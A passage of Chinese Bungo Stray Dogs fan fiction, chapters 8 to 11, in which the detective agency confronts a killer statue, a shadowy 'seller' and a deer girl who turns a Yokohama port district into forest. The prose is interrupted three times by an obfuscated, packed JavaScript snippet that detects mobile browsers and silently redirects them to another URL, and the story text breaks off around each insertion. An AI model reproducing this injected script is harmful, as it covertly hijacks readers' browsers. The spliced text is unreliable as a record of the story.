消毒水的气味,顽固地往鼻子里钻。 “嗬——!嗬……!” 国木田独步像溺水的人猛地获救,整个人从床上弹坐起来,大口大口地喘气,新鲜空气涌进火烧火燎的喉咙,带来一阵刺痛和畅快交织的怪异感。 第一反应是摸向自己的脖子,皮肤光滑完整,颈椎活动自如,没有半点断折的痕迹。 记忆回笼。 仓库、雕像、冰冷的触感、窒息的痛苦……还有最后隐约听到的,与谢野晶子那标志性的、带着不耐烦却让人无比安心的声音。 “看来……被救了。” 房门被轻轻推开,谷崎润一郎探进头,看到他坐起来,立刻冲了进来,脸上写满了担忧和后怕。 “国木田先生!您终于醒了!感觉怎么样?脖子还疼吗?有没有哪里不舒服?与谢野医生说虽然治好了,但可能还有些神经性的残留不适……” “我没事了,谷崎,真的。”国木田看着几乎贴到自己面前的谷崎的脸,有些不自在地往后挪了挪,“那个雕像呢?后来怎么样了?” 提到雕像,谷崎的脸色白了白:“带回社里了,现在……由乱步先生在看管。” “什么?!乱步先生在看管?那太危险了!”国木田掀开被子就要下床。 “您别急!” 国木田快步来到侦探社的开放式办公区,眼前的景象让他一愣。 社员们,也就是宫泽贤治、谷崎直美、甚至事务员春野绮罗子等人围成一个大圈,每个人都睁大了眼睛,一眨不眨地,死死盯着圈子中央茶几上的那座……杀人雕像。 就连社长福泽谕吉也站在稍远处,手按在刀柄上,目光沉凝。 与谢野晶子靠在门框上,看到国木田,挑了挑眉:“哟,活蹦乱跳了?要不要再做个全面检查?免费的。” “不、不用了!非常感谢,与谢野医生!”国木田连忙摆手,转向那个诡异的圈子,“这是……” “如你所见,”坐在沙发上、难得没在吃零食而是抱着个杯子的江户川乱步开口道,他的眼睛也同样盯着雕像,“‘注视’是它的静止开关,只要持续有视线聚焦在它身上,它就会保持静止。” “一旦所有人的视线同时离开,哪怕只是一瞬间,它就会立刻活动,攻击离它最近、或者它‘选定’的目标!人数越多,同时移开视线的概率越低,就越安全。” “可是……乱步先生……”宫泽贤治的声音带着点哭腔,他用力瞪大眼睛,眼圈都红了,“俺的眼睛好酸,好想眨一下……你说的那个外援什么时候到呀?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149370|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哥哥已经打电话询问过了,外援先生说马上就到。”谷崎直美也揉着发红的眼角,“直美也觉得眼睛要坏掉了……” “再坚持一下,这个雕像的性质非常特殊!它给我的感觉……不像是单纯的异能力造物,它的‘规则’太过绝对和诡异,在那家伙确认之前,不能有任何松懈。”乱步说道。 “而且,这很可能只是开始,那个连脸都看不清的男人,他的目的……绝不止是制造几起血腥事件那么简单!那个消失的鹿女,她的能力如果失控,对横滨这座现代化城市……会是毁灭性的。” “我们必须在他下一步动作之前,把他揪出来。” 就在这时—— 武装侦探社会客室的门被轻轻推开。 一个身形颀长的青年走进来,深棕色的风衣的下摆随着动作微扬,视线在室内扫过一圈,最后落在中央那座静止的天使雕像上。 “哎呀呀,”对方声音轻快,带着点恰到好处的惊讶,“这是社里新添的艺术品吗?品味还挺……特别的。” 办公室里没人动弹。 所有人都维持着某种凝固的姿势,视线死死锁定在雕像上,连呼吸都刻意放轻。 “你们是在玩什么新式冥想游戏吗?集体参禅?还是说——”青年,太宰治拖长了尾音,“这座雕像其实是个定时炸弹,而你们在玩‘谁先眨眼谁就输’?” “莫西莫西,有人理我一下吗?” “我是今天来报道的新人,太宰治~好过分啊,没有人理我,难道这就是传说中的职场冷暴力吗?”太宰治有些委屈地叹了口气。 新人一进来就噼里啪啦说了一堆话,完全插不上嘴的侦探社内众人:…… 走到雕像的另一侧,太宰治歪着头打量那座低眉垂目的石像,天使覆纱的面容在灯光下泛着冷白的光泽,微微抬起的独臂指向虚空。 “不过话说回来,”太宰治忽然开口,语气变得轻松随意,“这雕像的雕工确实不错,尤其是脖颈这里的弧度,线条流畅得简直像真人的……” “你觉得这个雕像是异能力的产物,还是就是……一名异能力者?” 太宰治的手指停在距离石像仅剩一寸的位置,转过头,看向坐在沙发上、同样紧盯着雕像的年轻侦探。 “嗯?”太宰治发出一个上扬的单音。 乱步的绿眸飞快地扫了他一眼,又迅速落回雕像上。 太宰治轻轻“唔”了一声,“试一下不就知道了。” 再次伸出手。 这次没有犹豫,缠着绷带的食指径直点向石像冰冷的表面。 指尖即将触碰的前一刻—— 那座静止的、夺命的、让整个武装侦探社如临大敌的天使雕像,如同被戳破的幻影,毫无征兆地消散在空气中。 没有声音,没有光影,没有残骸。 就像它从未存在过。 办公区陷入一片死寂。 太宰治看着自己悬空的手指,眨了眨眼,然后缓缓收回手,转向众人,露出一个无辜又困惑的笑容: “那个……它刚才还在这儿的,对吧?”] 8. 第 8 章 太宰治和江户川乱步交换了一个短暂的眼神。 办公室里安静了几秒。 那座天使雕像消失得太过彻底,连一点石屑、一丝灰尘都没留下,仿佛刚才众人与它对峙的场景只是集体幻觉。 “果然是异能力啊,”宫泽贤治终于长舒一口气,整个人松懈下来,用力揉了揉通红的眼眶,“被这位外援先生一碰就没了。” “刚才可紧张死俺了,眼睛都不敢眨一下。” 谷崎直美也软软地靠在兄长肩上:“太好了哥哥,看来真的没事了……” “不。” 太宰治的声音很轻,却像一颗石子投入平静的水面,让所有人的注意力瞬间集中到他身上。 他抬起刚才伸向雕像的那只手,食指上还缠着洁白的绷带,在阳光下显得格外醒目。 “我刚才……”太宰治顿了顿,鸢色的眼眸微微眯起,“根本没真的碰到它。” 话音落下的瞬间,他似乎想到了什么,表情骤然变得锐利。 “等等——”太宰治猛地转身,三步并作两步冲到窗边,几乎是粗暴地推开窗扇。 午后的风灌进办公室,吹乱了众人的头发。 “喂!你干什么?”国木田独步被他的动作吓了一跳。 午后阳光正好,街上车水马龙,一片太平景象。 牵着手散步的小情侣,慢悠悠遛狗的老太太,追跑打闹的小学生……一切都寻常得不能再寻常。 忽然,太宰治的目光定在了街角一个正要拐弯的背影上。 那是个穿沙色长风衣、个子很高的青年,正背对侦探社的方向,不紧不慢地走着。 这个背影普通得要命,甚至有点过分不起眼,就像一滴水混进了河流,眨个眼就再难从人潮里认出来。 但太宰治的直觉在脑子里尖声鸣响—— 就是他! …… 那个神秘的“卖家”,刚才肯定就在附近,说不定一直就在暗处盯着侦探社里头的一举一动。 否则,雕像怎么可能偏偏在他指尖快要碰到的前一秒,那么“巧”地消失? 像是感应到了来自楼上的那道视线,街角那个背影忽然停住了脚步。 然后,他慢慢地转过了头,仰起脸,精准地对上了四楼窗口太宰治的目光。 太宰治清清楚楚地看到,对方的嘴角……似乎向上弯了一下。 接着,那人抬起右手,把食指轻轻抵在嘴唇前面,做了个无声的“嘘”的手势,动作悠闲,甚至带着点玩味的戏谑。 随即,他收回手,转身拐进旁边的岔路,消失在了视野里。 太宰治猛地收回视线,闭上眼睛,拼命想在心里刻下对方的特征。 “男,身高大概一米九,沙色长风衣,黑色长靴,戴一顶粗花呢报童帽,头发和眼睛颜色偏深……”他语速飞快地描述着,同时使劲回忆更多细节,“脸……脸的具体……” “你在说什么?”国木田独步快步走到窗边,楼下只有寻常街景,“谁在外面?” 江户川乱步已经重新压低了帽檐,声音从帽子阴影底下传出来:“他在说刚才离开的那个人,那个‘卖家’,从我们把雕像弄回社里开始,他恐怕就一直在外头‘看着’。” 太宰治转过身,背靠着窗沿,脸上是一种罕见的凝重。 “麻烦了,现在,连我自己也想不起来他具体长什么样了,只有刚才说的那些……模糊印象。” 一股寒意,悄无声息地爬上了在场每个人的后背。 对方不仅能造出“天使雕像”那种诡异的杀人玩意儿,连他自个儿的存在,都像个抓不住的幽灵,连记忆都留不住他。 街角,男人拐进岔路,走入一条安静的小巷。 巷子两侧是高.耸的建筑物,午后的阳光被切割成狭窄的光带。 “夏娃,计划可以开始了。” 男人的声音很轻,平静得不带一丝情绪波动。 【收到,Boss!】 【鹿女的适应性测试,第二阶段,坐标已经发送,倒计时一小时。】 …… 办公室里陷入短暂的沉默。 最后还是福泽谕吉打破了寂静:“乱步,你怎么看?” 江户川乱步重新压低了帽檐,声音从阴影下传来:“挑衅,也是宣告!他在告诉我们三件事:第一,他知道我们发现并控制了雕像;第二,他知道我们在调查他;第三……” 抬起头,翠绿的眼眸锐利如刀。 “他根本不在乎,甚至乐在其中。” “‘卖家’在享受这场‘游戏’。”太宰治接口,嘴角勾起一个没什么温度的弧度,“真是……令人不快的趣味。” 国木田独步已经拿出了笔记本,飞快地记录着:“我们需要扩大搜索范围吗?虽然脸记不住,但这些外在特征,沙色长风衣、黑色长靴、粗花呢报童帽,应该能缩小排查范围。” “我现在就联系警方和特务科,调取附近街区的监控——” “没用的。”太宰治打断了他。 “你说什么?” “我说,没用的。”太宰治转过身,面对着众人,“他能造出让所有人都记不住脸的帽子,能让监控拍不清自己的影像,难道就不能换掉一身衣服?” “这些外在特征,恐怕只要我们一开始大张旗鼓地调查,就会立刻被他舍弃或者改变。” 走到办公室中央,太宰治的目光扫过每一个人:“不是为了钱,不是为了权,甚至可能不是为了复仇,他是在……进行某种‘实验’。” “实验?”谷崎润一郎不解。 “拍卖会上测试雕像的杀人规则,码头边清理□□验证雕像的实战性能,现在故意在侦探社外现身,观察我们的反应。”江户川乱步接过话头,语速平稳却字字清晰,“这一切都像是精心设计的测试环节。” 福泽谕吉的手按在刀柄上,这是他在思考严峻事态时的习惯动作:“那么他的最终目的是什么?” “信息不足,无法精确推断。”乱步坦言,“但有一点可以肯定——那个鹿女是关键。” “如果拍卖会泄露的信息属实,她的能力是让人造物‘回归自然’,那么这种能力一旦失控,对横滨这种现代化城市将是毁灭性的。”乱步补充道。 “而且拍卖现场周边我看过了,她的能力范围不止十五米,甚至对人造物‘敏感’这一特性……” 太宰治忽然开口:“拍卖会的情报本身就是陷阱,故意弱化她的危险性,让买家甚至是我们放松警惕,或者……”他眼中闪过一丝冷光,“或者是为了掩盖她能力的真正特性。” “什么意思?”国木田问。 “意思就是,”太宰治走到白板前,拿起记号笔,“我们可能严重低估了那个女孩的危险性,如果她的能力不是简单的‘分 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乱步看了一眼墙上的时钟:“从拍卖会结束到现在已经过去二十二小时!如果对方真的要‘测试’她的能力极限,那么最晚在接下来两小时内,一定会选择一个人造物密集、人口相对密集的区域进行大规模实验。” “横滨港西区物流中心。”太宰治几乎和乱步同时说出这个地点。 国木田立刻调出电子地图:“那里有全市最大的仓储区,堆放着数以万计的集装箱,还有大量机械设备。如果在那里爆发……” “半个横滨可能会在几小时内‘回归原始’。”太宰治说,“而且更麻烦的是,那个区域靠近港口,如果影响蔓延到海上,后果不堪设想。” 福泽谕吉当机立断:“全员准备,立刻出发!乱步,现场指挥交给你!国木田,制定行动方案!太宰君……”他看向太宰治,“我需要你协助乱步,应对可能出现的异能对抗。” “了解。”太宰治微微颔首。 --- 而此刻,在城市的另一端—— 港口黑手党总部大楼顶层,森鸥外站在落地窗前,手中把玩着一枚国际象棋棋子。 “中也君,”他没有回头,声音平静,“你怎么看这件事?” 中原中也站在他身后三步的位置,礼帽端正地戴在头上:“那个‘卖家’很危险!一夜之间清理掉烈焰帮,用的还不是常规手段,这种人不该留在横滨。” “是啊,很危险。”森鸥外将棋子轻轻放在窗台上,“但危险的往往也是最有价值的!你说,如果这样的人能被‘使用’,会产生多大的价值呢?” 中原中也沉默片刻:“首领,您的意思是……” “我的意思是,”森鸥外转过身,暗红色的眼眸里闪烁着算计的光,“在游戏结束之前,我们不妨先做个观众。” “看看这场由‘卖家’、侦探社,还有我们那位前干部共同出演的戏剧,会以什么样的方式落幕。” 走到办公桌前,森鸥外手指轻轻敲击着桌面。 “当然,如果局势失控……”森鸥外微微一笑,“我们也该准备好,在适当的时候入场。毕竟,横滨的平衡,可不能轻易被打破啊。” 窗外,夕阳开始西沉。 横滨的夜晚,即将来临。 而这场牵动了整个城市命运的“游戏”,也即将进入最关键的阶段。 所有人都屏息以待。 风暴,就要来了。 9. 第 9 章 横滨港西区,物流中心。 太阳西沉,城市的灯火一盏接一盏亮起来。正好是交接班的时候,工作人员们要么互相道别,结束一天的忙活,要么跟夜班的同事仔细交接工作,人流比平时还要密集。 控制中心大楼的天台边上,坐着个人影。 指尖一点明灭的火光,在越来越浓的暮色里忽隐忽现。 “好戏,该开场了。” …… 下方人行道的正中间,一个身影吸引了所有路过人的目光。 鹿角,蹄足,明明是人类少女的脸,却混着非人的特征。 更吓人的是,从她脚底下站的地方开始,坚硬的柏油路面就像潮水一样退去、分解,变成了松软的泥土。 藤蔓、青草、叫不出名字的野花,以她为中心,朝着四周飞快地蔓延、疯长。 “异、异能力者!” “快跑啊!” 对横滨的居民来说,光天化日之下施展异能的异能力者,往往就意味着危险和灾祸,人群惊恐地四散奔逃,都想离那个静静站着的影子远点。 跑得慢的,或者不小心跌倒在地的人,很快就被涌上来的绿色藤蔓缠住、裹紧,变成了一个又一个巨大的绿茧。 绿潮蔓延得极快。 茧中瞬间陷入一片黑暗,时间仿佛被拉长了。 在经历了一番无果的挣动后,有人最先力竭,在急促的喘息中察觉到了异样:缠绕身体的藤蔓并未继续收紧,除了衣物和随身物品在无声地分解消散,皮肤并未感到被勒割的疼痛。 理智开始穿透恐惧。 大约一两分钟过去,大部分绿茧从外看去,已从剧烈的晃动变为相对静止,只偶尔传来压抑的摸索声。 有人试探着,用指甲抠、用拳头抵,发现构成绿茧的藤蔓并非牢不可破。 求生的本能压过了最初的骇然。 于是,从某个绿茧开始,裂帛般的撕裂声响起,一只只沾着草屑的手颤抖着从裂缝中伸出,奋力将缺口撕大。 等人们挣扎着撕开绿茧,从里面爬出来,眼前的景象让他们直接呆住了。 高楼、马路、车子、路灯……所有熟悉的人造东西全都不见了,取而代之的,是一片生机勃勃的原始林地。 树木高高低低地长着,杂草到处蔓延,野花开在中间,好像这座城市从来就没存在过,这地方打从一开始就是这样的绿色秘境。 “这……这是哪儿?” “我手机呢?衣服呢?怎么全没了?!” “我们还在横滨吗?还是说……已经跑到别的世界了?” 一群身无寸缕、只能用藤蔓勉强遮体的人站在这片突然冒出来的绿地中间,茫然地东张西望,不安地小声议论。 而那些运气好、站在边缘提前跑掉的人,则亲眼看见了城市在他们眼前“融化”、植物瞬间疯长的超现实一幕,还有从绿茧里爬出来的、一大群在玩原始人cosplay的家伙。 …… 没过多久,横滨港西区物流中心出事的消息,就传到了横滨各个势力的耳朵里。 武装侦探社的车子在横滨的街道上疾,车厢里气氛凝重。 在乱步两人推测出“卖家”下一步的目标后,社长就联系了横滨的官方势力,想要疏散物流区的人群,但那边区域实在是大,加上横滨势力错综复杂,毕竟是黑手党已成为日常的城市,一群大大小小的公司,自然,在命令执行方面…… 万幸,到目前还没出现人员伤亡的情况,只有个别几个被吓到摔倒,受了点轻伤。 国木田独步一边开车,一边飞快地复述已知情报:“鹿女,异能表现是非自然物分解并植物化,目前影响范围已经覆盖了整个西区物流中心,而且还在慢慢往外扩……” “速度这么快?”与谢野晶子忍不住问。 谷崎润一郎看着平板电脑上实时传过来的卫星图像,忧心忡忡:“官方试过无人机和机器人,全失效了!那个区域,像个拒绝一切‘人造’概念的绝对领域。” “所以,我们进去以后,就等于回到原始时代了?”宫泽贤治挠了挠头,“俺倒是挺习惯的,就是不知道里面有没有能吃的东西。” “贤治,现在不是想这个的时候……”谷崎直美小声提醒。 “我知道,直美,但是吃饱了才有力气干活嘛!” 车子在距离那片突兀的绿色边界几百米外被迫停下。 前面的路已经变成了松软的泥土,蔓草爬满了废弃车辆的残骸。 众人下了车。 哪怕早有心理准备,眼前的景象还是让见多识广的侦探社员们陷入了短暂的沉默。 郁郁葱葱的森林,取代了原来的物流园区。 高大的树木、纠缠的藤蔓、没过膝盖的野草。 空气里飘着泥土和植物的清新味道,偶尔还能听见几声鸟叫。 一切都那么自然,自然到让人毛骨悚然,因为这里本该是钢铁和水泥的世界。 “简直……像把一整片原始森林直接搬了过来。”谷崎润一郎喃喃道。 “不是搬过来,”太宰治走到边界那儿,蹲下,用手指捻起一点泥土,“是‘覆盖’和‘替换’,真是可怕啊。” 官方人员正在更外围组织最后的撤离,警灯闪个不停。 一个穿着制服的特勤人员跑过来,脸上带着焦虑:“你们是武装侦探社的?这边现在非常危险!那个绿色区域会分解任何非自然的东西,包括你们的衣服和设备!我们试过了,根本进不去侦察!” “我们知道。”国木田独步推了推眼镜,“正因为这样,才需要异能者进去处理,请问现在里面还有没撤出来的人吗?” “根据最后的情报,中心区域可能还有少量没来得及跑出来的人,但通讯完全断了,没法确认。”特勤人员摇头。 “而且,我们监测到那个绿色区域上空也有分解场,直升机都靠不过去,它就像一个不断变大的泡泡,虽然扩散速度不快,但确实在把周围的东西一口口吃掉。” “那个女孩呢?鹿女?”与谢野问。 “没有直接目击!但她肯定在中心某个地方!我们试过从边缘用热成像探测,但设备一进范围就失灵了,里面现在完全是个黑箱。” 等特勤人员离开后,侦探社众人围拢到一起。 “情况比想的还糟。”国木田眉头锁得死紧,“没法通讯,没法侦察,装备受限制,还得在那种环境里找人,还得应付可能冒出来的雕像和那个神秘卖家本人。” “而且,”与谢野晶子指了指自己和国木田的装备,“我们的武器,还有你的异能‘独步吟客’,一进去恐怕就没了。我们差不多得赤手空拳对付未知的东西。” “俺没关系!”宫泽贤治拍拍胸脯,“俺力气大,眼睛也好使。” “问题不在这儿。”乱步打断了大家的讨论,目光一直落在森林深处,“关键在于,我们必须用最快速度找到鹿女!拖得越久,范围越大,越难控制,而且那个‘卖家’藏在暗处能做的准备就越多。” 最后,侦探社讨论出一个初步方案。 由机动性高、观察力强或者有一定肉搏能力的成员分成两支小队,交替掩护太宰治往中心推进。 国木田已经打开了他的手账本,开始飞快地写:“进入序列:第一组,太宰、宫泽,负责快速突进;第二组,我与谷崎,侧翼掩护并保持对后方和上方的观察;与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这片森林真的会让人一不留神就社会性死亡啊! 太可怕了! 作为一个有尊严的哥哥,他怎么也做不到在自家妹妹面前丢这种脸! “没、没事……可恶!”国木田羞愤欲死,毕竟差点在所有人面前裸奔! 而森林里的太宰治,好像对身后发生的事浑然不觉,甚至头都没回。 只是背对着众人,抬起手随意地挥了挥,算作告别,身影随即被几棵大树茂密的枝叶挡住,很快消失在众人视野里。 “他就这么……进去了?”谷崎直美捂住嘴。 一直站在乱步身边的与谢野晶子抱着手臂,啧了一声:“那家伙的异能力……” “他一个人,万一遇到那个雕像,或者那个卖家……”国木田担心道。 “乱步先生!现在怎么办?”谷崎润一郎看向江户川乱步。 “让他去吧。”江户川乱步静静望着太宰治消失的方向,抬手扶了扶自己的侦探帽。 “那家伙,不会做没把握的事。” 至于江户川乱步为什么这么肯定……这大概就是脑力派之间,那种说不清的默契吧! 森林深处,太宰治踩着松软的腐殖土往前走。 周围是前所未有的寂静,只有风吹过树叶的沙沙声。 他抬起头,目光好像能穿透层层叠叠的绿荫,投向某个戴着报童帽的男人。 无声的低语,融化在森林的气息里: “让我看看,你究竟想和我玩什么游戏吧。” 10. 第 10 章 异空间的影院陷入短暂的寂静。 屏幕上,太宰治站在四楼窗边的身影被夕阳拉长,鸢色的眼眸紧锁着楼下街角——那个穿着沙色风衣的高挑身影,在即将拐入岔路时,忽地停了下来。 时间仿佛被拉长。 那人缓缓转过身,仰起脸。 隔着喧嚣的街道与四层楼的距离,两人的视线在空中猝然相撞。 接着,楼下那人抬起右手,修长的食指轻轻抵在唇前。 一个清晰又慵懒的“嘘”的手势。 嘴角勾起似笑非笑的弧度。 做完这个动作,他才从容转身,像水滴融入河流,消失在人群里。 【啊啊啊窗台对视我能回味一百遍!】 【一个在楼上精准锁定,一个在楼下回头勾引!】 【这什么偶像剧桥段啊啊啊!】 【柊贵诚那个“嘘”的手势!慵懒又带点坏!】 【明明可以直接走掉,偏要回头撩一下!心机boy!】 【太宰治那瞬间的凝滞和锐利眼神我截图了!】 【这种宿命拉扯感!我死了!】 弹幕瞬间爆炸,密密麻麻的彩色字幕几乎淹没了整个画面。 影院内,侦探社区域的氛围变得微妙起来。 与谢野晶子率先打破沉默。 她侧过身,手臂随意搭在椅背上,目光精准投向事不关己般靠着椅背的太宰治,唇角勾起戏谑的弧度:“哟,听见没?‘心机boy’,‘回头勾引’,‘重点观察对象’……太宰,魅力不小啊~” 同事的笑话永远不能错过,尤其这人还是太宰治。 太宰治眨了眨鸢色的眼睛,脸上露出无辜又苦恼的表情:“与谢野医生这是在说什么呀?画面中的那位可不是我哦~” 中岛敦看着那些滚动的弹幕,又偷偷瞄了瞄太宰治,小声嘀咕:“这位就是柊先生吗?……感觉不太像好人啊。”屠杀拍卖场、把物流中心变成森林引发全城恐慌,怎么看都是个危险至极的人物。 “嘿嘿嘿!”谷崎直美却双手捧心,眼睛亮晶晶的,“那种情况下,明明快点走掉最安全,但他偏偏要停下来做那个动作!就像……就像故意要在太宰先生心里留下个特别深的印象!因为他知道自己戴帽子容易被忘记长相,所以用特别的动作来弥补!啊啊啊,好浪漫!” “浪漫?!”国木田独步、谷崎润一郎异口同声,直男不懂,直男震撼。 江户川乱步咔嚓咔嚓地嚼着薯片,含糊不清地说:“是不是浪漫不好说,但‘故意’是肯定的。那个回头和手势,就像在说——‘我知道你在看,我也在看你’。” 谷崎直美暗暗竖起了拇指。 不愧是乱步先生,听了他的话,这两人更好磕了。 屏幕中的画面还在继续。 现代都市瞬间沦为原始森林,一切现代设备变为废铁,甚至消散。 最后,“太宰治”孤身一人踏入那片浓郁的绿色之中…… 福泽谕吉沉声道:“无论如何,此人的危险性毋庸置疑。” 与谢野晶子收起了玩笑的神色,目光锐利地盯着暂时暗下去的屏幕:“那片‘森林’的扩张虽然暂时慢了,但分解力量还在,太宰的‘人间失格’能护住他自己,却护不住任何装备。他在里面,等于被剥离了所有外部辅助。” “不仅是装备,”国木田语气里满是担忧,还夹着一丝懊恼,“通讯断了,方向难辨,还有那个神出鬼没的杀人雕像!他等于是蒙着眼睛,在人家完全掌控的地盘里行动。‘我’当时定的计划虽然麻烦,但至少考虑了团队配合和风险分摊……” “国木田君,”乱步打断了他,难得没在吃东西,翠绿的眼眸在昏暗光线下显得格外清亮,“计划永远赶不上变化,尤其是面对柊贵诚这种‘变数’。” 他顿了顿,语气笃定:“可以肯定,无论是鹿女还是那个杀人雕像,都只是柊贵诚力量的一部分……他的‘异能’,恐怕不是简单的‘造东西’。” 作为屏幕外的观众,乱步比画面中的“自己”掌握更多信息,对柊贵诚能力的本质自然也看得更透。 “恐怕也是规则系的异能力,而且……相当特别。” 这番话让侦探社众人都心头一紧。 规则系能力本就稀少且棘手,而柊贵诚表现出来的,似乎是一种相当自由、甚至看不到上限的能力。 中岛敦握紧了拳头,他想起另一个世界里,组合因为忌惮“柊贵诚”而不敢随便踏足横滨。 “社长,乱步先生……那个柊贵诚,他做这些事,真的就只是为了测试,或者让横滨陷入混乱吗?” 江户川乱步肯定地说:“目的绝不会单纯!‘桔梗港事件倒计时’……那才是关键!现在的一切,可能只是铺垫,或者某种‘热身’。”他微微蹙眉,“只是,信息还是太少了。” □□区域。 “‘规则系’……吗?”森鸥外低声重复,暗红的眼睛里闪烁着计算的光芒,“真是令人惊叹又忌惮的能力,那么他的威胁等级,就不仅仅是城市或国家层面了。”他话未说尽,但视线扫过荧幕,意思不言而喻。 能让另一个世界的各方势力如此忌惮……他的异能力,究竟是什么呢? 中原中也脸色凝重:“也就是说,那家伙能创造不同的异能力者?” “可以这么理解,中也君。”森鸥外点头。 “所以,太宰君的‘无效化’才显得至关重要,这场对峙,某种意义上,是两个‘异常’之间的碰撞。”森鸥外若有所思,“或许,我们能从中窥见更多关于‘柊贵诚’本质的信息。” 爱丽丝歪着头:“那太宰不是很危险吗?在那个人的‘地盘’里。” “危险与机遇并存,爱丽丝酱。”森鸥外微笑,“对于太宰君来说,这或许也是他深入了解对方的最佳机会。” —————— [森林深处,太宰治踩着松软的腐殖土往前走。 “让我看看,你究竟想玩什么游戏吧。” 话音刚落,前方的树丛微微晃动。 一个身影缓缓走了出来。 深棕色的长发,黑曜石般的眼眸,头上分叉的鹿角在透过枝叶的斑驳阳光下泛着温润的光泽。 裙摆下,属于蹄足的形状隐约可见。 鹿女静静地站在那里,望着他。她的眼神清澈而茫然,像是初生的幼鹿,对这世间的一切都充满不解。 太宰治停下脚步,与她隔着十几米的距离对视。 鹿女微微皱起了眉,似乎对他周身那层朦胧的光晕感到困惑。 因为她的能力在触及那层光时便无声消散,就像海浪撞上礁石,徒劳无功。 “你能……让那些东西停下吗?”鹿女忽然开口,声音轻柔,带着怯生生的颤音,“那些钢铁的怪物,那些刺鼻的气味,那些……不属于这里的东西。” 太宰治歪了歪头:“你是说,这座城市?” “城市?”鹿女重复这个词,眼神更加茫然,“这里……不该是这样的!这里应该是森林,是草地,是鸟儿筑巢的地方,可是那些硬邦邦的东西把它盖住了,把它弄脏了……” 她的声音渐渐低下去,双手无意识地绞在一起,“我很不舒服!那些东西让我喘不过气,让我的皮肤发痒……我想让这里变回它本该有的样子。” “所以你就把它们都‘分解’了?”太宰治问。 鹿女点点头,又摇摇头:“我不知道……我只是想让它们消失,然后,绿色就长出来了。” “这样……这样我就舒服多了。” 她的逻辑简单而纯粹,像孩童般直白。 对她而言,分解人造物、催生植物,不是为了破坏,只是为了让自己“舒服”。 一种本能的、近乎生理需求的反应。 太宰治看着她,鸢色的眼眸深处闪过一丝复杂的情绪。 这个女孩,与其说是主动作恶的罪犯,不如说是一件被错误使用的“武器”,她甚至可能无法完全理解自己能力的意义和后果。 “那个人,”太宰治缓缓开口,“戴帽子的那个人,他在哪里?” “?……坏人!” 鹿女猛地后退了一步,满眼戒备。 呼吸开始变得急促,脸色微微发白,像是某种过敏反应正在加剧。 显然,强烈的情绪也会引起她的不适。 太宰治正要说什么,忽然,他眼角的余光瞥见左侧的树影微微晃动。 不是风。 那晃动的节奏带着某种刻意的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太宰治没有接话,只是静静地看着他。 两人的目光在森林的静谧中对峙,空气中仿佛有无形的弦在绷紧。 良久,男人再次开口,声音里多了一丝玩味:“说起来,我很好奇,你的‘人间失格’,能无效化异能,但能无效化‘规则’本身吗?能无效化一个……正在运行的世界底层逻辑吗?” 太宰治歪了歪头:“试试不就知道了?” “正有此意。” 男人抬起手,轻轻打了个响指。 下一秒,周围的森林开始变化。 树木的纹理变得更加深刻古老,藤蔓生长得更加狂野肆意,空气中的草木气息骤然浓郁了数倍。 而更诡异的是,这片空间的光线开始扭曲,色彩变得饱和度极高,像是某种过度渲染的油画。 鹿女发出一声低低的惊呼,她头顶的鹿角似乎生长了一小截,蹄足的形状也更加明显。 “这是……”太宰治眯起眼睛。 “一点小小的‘规则调整’。”男人说,“让这里的‘自然’属性更加强烈,更加……纯粹。同时,也让她与这片空间的连接更加紧密。” 他看向鹿女:“现在,试着‘感受’这片森林,让它按照你的心意生长。” 鹿女茫然地看着他,又看看自己的双手。 几缕藤蔓从她脚边自动生长出来,缠绕上她的手腕,动作温柔,仿佛有生命般。 她的眼神渐渐发生了变化,从恐惧和茫然,转向一种懵懂的掌控感!抬起手,周围的树木随之微微摇曳,仿佛在向她致意。 “你加强了她的能力,也加强了她对这片区域的控制。”太宰治说。 “准确说,是让她与这片‘自然领域’更加同调。”男人纠正道,“在这里,她的意志就是森林的意志。而这片森林的规则,由我定义。” 他转身看向太宰治,眼中闪烁着难以捉摸的光:“现在,太宰君,你要怎么‘无效化’一片……活着的森林呢?” 太宰治没有回答。 森林深处,对峙在无声中继续。 而影院里,所有人都屏住了呼吸。 11. 第 11 章 砰—— 结结实实的一记直拳,不偏不倚砸在了男人的侧脸上。 力道不轻。 那顶总是伴随男人一同出现的,具有代表性的粗花呢报童帽,随着这股劲力飞脱出去,在空中划了道弧线,落进一旁的草丛里。 男人被打得偏过头去,几缕黑发凌乱地散落在额前。 帽檐下长久隐藏的真实面貌,就这样毫无防备地暴露在斑驳的林地光影中。 深邃而立体的骨相,是东方轮廓里罕见地揉入了西方雕塑般的分明线条。 黑发,黑瞳,此刻那双总是含着笑意的眼眸因惊愕微微睁大,长睫轻颤,里头清晰地映出太宰治近在咫尺的脸,以及对方瞳孔中,同样没来得及收起的、货真价实的错愕。 寂静。 连风都停了。 太宰治还维持着出拳的姿势,绷带下的指节甚至能清晰地回忆起击中对方下颌骨时,那实实在在的触感。 太近了……他根本没料到,这位能把整个横滨玩弄于股掌之间的“卖家”,竟然连这么一拳都没躲。 或者说,是没想躲? 一旁的鹿女早就用双手紧紧捂住了嘴,一双圆溜溜的眼睛在指缝后面眨呀眨,看看这个,又看看那个,满是天真又震撼的好奇。 